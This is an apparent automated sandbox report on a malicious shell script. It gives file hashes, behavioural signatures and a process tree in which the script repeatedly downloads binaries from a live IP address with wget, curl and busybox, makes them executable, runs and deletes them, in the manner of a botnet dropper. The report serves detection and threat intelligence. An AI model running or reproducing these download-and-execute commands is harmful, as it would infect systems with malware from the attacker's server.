Analysis

  • max time kernel
    12s
  • max time network
    14s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/10/2024, 01:42

General

  • Target

    c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b.sh

  • Size

    10KB

  • MD5

    24af39cdca62a1ed0bec6400cfa74142

  • SHA1

    ad31bab8b77d23f47f5ca207a515dfed28a2bd5a

  • SHA256

    c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b

  • SHA512

    24fd5e5bb157fe20152b4811bad30f52b5aa416a3faf7ae5c06d3e7fa6388dcb41d528a9aa87bb6c886380c2cf8457510bc89e7d08ae1096ae8d2da0e1f61476

  • SSDEEP

    192:HMUrAEWq+TPsHnmpFoBZFD0+kolLMUrAEaTPsHncpFoBZf:HMUrAEWqF0FmMUrAEp

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Checks CPU configuration 1 TTPs 7 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 14 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b.sh
    /tmp/c2023304dbd5db2b900e527622714d277b218d0aff1fc1dcb1cff60cb8dbdc6b.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://87.120.126.196/bins/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i
          2⤵
            PID:654
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:688
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i
            2⤵
              PID:692
            • /bin/chmod
              chmod 777 RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i
              2⤵
              • File and Directory Permissions Modification
              PID:699
            • /tmp/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i
              ./RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i
              2⤵
              • Executes dropped EXE
              PID:700
            • /bin/rm
              rm RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i
              2⤵
                PID:702
              • /usr/bin/wget
                wget http://87.120.126.196/bins/Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm
                2⤵
                  PID:703
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:724
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm
                  2⤵
                    PID:728
                  • /bin/chmod
                    chmod 777 Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm
                    2⤵
                    • File and Directory Permissions Modification
                    PID:730
                  • /tmp/Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm
                    ./Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm
                    2⤵
                    • Executes dropped EXE
                    PID:732
                  • /bin/rm
                    rm Xok7bjctdY8YttSEEDnxwoxpgcX4tB6XHm
                    2⤵
                      PID:733
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA
                      2⤵
                        PID:734
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:735
                      • /bin/busybox
                        /bin/busybox wget http://87.120.126.196/bins/CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA
                        2⤵
                          PID:736
                        • /bin/chmod
                          chmod 777 CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA
                          2⤵
                          • File and Directory Permissions Modification
                          PID:737
                        • /tmp/CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA
                          ./CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA
                          2⤵
                          • Executes dropped EXE
                          PID:738
                        • /bin/rm
                          rm CPPlc3Yzj8M2YktAvSEsKF5zPwSOKt0BfA
                          2⤵
                            PID:739
                          • /usr/bin/wget
                            wget http://87.120.126.196/bins/oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw
                            2⤵
                              PID:740
                            • /usr/bin/curl
                              curl -O http://87.120.126.196/bins/oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:741
                            • /bin/busybox
                              /bin/busybox wget http://87.120.126.196/bins/oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw
                              2⤵
                                PID:742
                              • /bin/chmod
                                chmod 777 oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw
                                2⤵
                                • File and Directory Permissions Modification
                                PID:763
                              • /tmp/oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw
                                ./oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw
                                2⤵
                                • Executes dropped EXE
                                PID:764
                              • /bin/rm
                                rm oxUWvwhZOEoMoCgfzN0z8gldLt09ELl7Cw
                                2⤵
                                  PID:765
                                • /usr/bin/wget
                                  wget http://87.120.126.196/bins/OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb
                                  2⤵
                                    PID:766
                                  • /usr/bin/curl
                                    curl -O http://87.120.126.196/bins/OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:769
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.126.196/bins/OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb
                                    2⤵
                                      PID:774
                                    • /bin/chmod
                                      chmod 777 OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:776
                                    • /tmp/OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb
                                      ./OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb
                                      2⤵
                                      • Executes dropped EXE
                                      PID:778
                                    • /bin/rm
                                      rm OFYM3t3OdXEMZlp13fUl8vLz1Xy4Ybx5cb
                                      2⤵
                                        PID:779
                                      • /usr/bin/wget
                                        wget http://87.120.126.196/bins/aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k
                                        2⤵
                                          PID:780
                                        • /usr/bin/curl
                                          curl -O http://87.120.126.196/bins/aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:783
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.126.196/bins/aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k
                                          2⤵
                                            PID:784
                                          • /bin/chmod
                                            chmod 777 aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:785
                                          • /tmp/aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k
                                            ./aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k
                                            2⤵
                                            • Executes dropped EXE
                                            PID:786
                                          • /bin/rm
                                            rm aUFzTJBbmAYbPv9lME6JtPK1PKi4P2CT4k
                                            2⤵
                                              PID:787
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613
                                              2⤵
                                                PID:788
                                              • /usr/bin/curl
                                                curl -O http://87.120.126.196/bins/Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:789
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.126.196/bins/Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613
                                                2⤵
                                                  PID:790
                                                • /bin/chmod
                                                  chmod 777 Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:791
                                                • /tmp/Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613
                                                  ./Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:792
                                                • /bin/rm
                                                  rm Ju8QBqA692Dp6a71dtDveu17PKqH4EQ613
                                                  2⤵
                                                    PID:793
                                                  • /usr/bin/wget
                                                    wget http://87.120.126.196/bins/HUV3uYejTB3G9yxm9AsJMvbGhfnIhIzLGp
                                                    2⤵
                                                      PID:794

                                                  Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

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                                                        Downloads

                                                        • /tmp/RyYfb1MF7l6K3p9GTwT5pnNmx1VEBJ2D8i

                                                          Filesize

                                                          153B

                                                          MD5

                                                          998368d7c95ea4293237f2320546e440

                                                          SHA1

                                                          30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                          SHA256

                                                          533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                          SHA512

                                                          648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97